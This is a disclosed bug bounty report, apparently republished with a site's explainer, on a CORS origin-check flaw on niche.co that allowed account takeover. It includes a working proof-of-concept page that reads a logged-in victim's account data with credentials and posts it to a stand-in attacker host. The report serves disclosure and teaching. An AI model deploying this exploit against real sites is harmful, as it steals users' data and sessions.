CORS misconfig | Account Takeover
The application's CORS policy reflected any Origin header containing the string '//niche.co', allowing an attacker-controlled domain to make credentialed cross-origin requests. An attacker could read a victim's account data and perform actions such as viewing private posts or deleting accounts.
Originally disclosed on HackerOne
- Triaged in 6 days
- Fixed in 11 days
- Disclosed after 51 days
Summary: CORS misconfig is found on niche.co as Access-Control-Allow-Origin is dynamically fetched from client Origin header with credential true and different methods are enabled as well.
Description: Basically, the application was only checking whether "//niche.co" was in the Origin header, that means i can give anything containing that. For ex : "https://niche.co.evil.net", "https://niche.com", i can even change the protocol like http, ftp, file etc. F363563: cors_1.png
Steps To Reproduce:
Exploit: Host this code on a domain(http://niche.co.evil.net) or any other that contains "//niche.co".
<html>
<body>
<button type='button' onclick='cors()'>CORS</button>
<p id='demo'></p>
<script>
function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
var a = this.responseText; // Sensitive data from niche.co about user account
document.getElementById("demo").innerHTML = a;
xhttp.open("POST", "http://evil.cors.com", true);// Sending that data to Attacker's website
xhttp.withCredentials = true;
console.log(a);
xhttp.send("data="+a);
}
};
xhttp.open("GET", "https://www.niche.co/api/v1/users/*******", true);
xhttp.withCredentials = true;
xhttp.send();
}
</script>
</body>
</html>
As soon as victim visit this malicious page, his details will be fetched from his current session and sent to attacker's domain where it can be logged or saved. F363586: cors_3.png F363564: cors_2.png
How to fix
Rather than using a wildcard or programmatically verifying supplied origins, use a whitelist of trusted domains.
Supporting Material/References:
https://portswigger.net/blog/exploiting-cors-misconfigurations-for-bitcoins-and-bounties https://ejj.io/misconfigured-cors/
Impact
Using this misconfig, attacker can do many actions depending on the functionality of application which in this case use API and do activities like:
- Read, Update, Delete Users information(Email,Location,Bio etc)
- Stealing Authenticity_token(CSRF)
- Delete social accounts on niche
- View private posts of social accounts
- Close account
- Logout etc.
Attachments



Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The origin check used a substring match instead of an exact whitelist, so any domain containing the trusted string was accepted.
Impact
An attacker could read and modify the victim's account data and perform actions such as viewing private posts or deleting accounts, depending on the application's API.
What the attacker needed
Victim visits attacker's page; attacker controls a domain containing the trusted string; victim has an active session
The fix
The origin check should use an exact whitelist of trusted domains rather than a substring match.
How it was found
- Host a malicious page on a domain whose name contains the trusted string.
- The page sends a credentialed cross-origin request to the victim's account API endpoint.
- The browser includes the victim's session cookies because credentials are allowed.
- The response is read and sent to the attacker's server.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
CORS is a browser rule that lets a website say which other sites may read its responses. Here the site trusted any origin that merely contained its name, so a malicious page could read the victim's data using their logged-in session.
What is CORS?
A permissive cross-origin policy lets another site read responses with the user's credentials.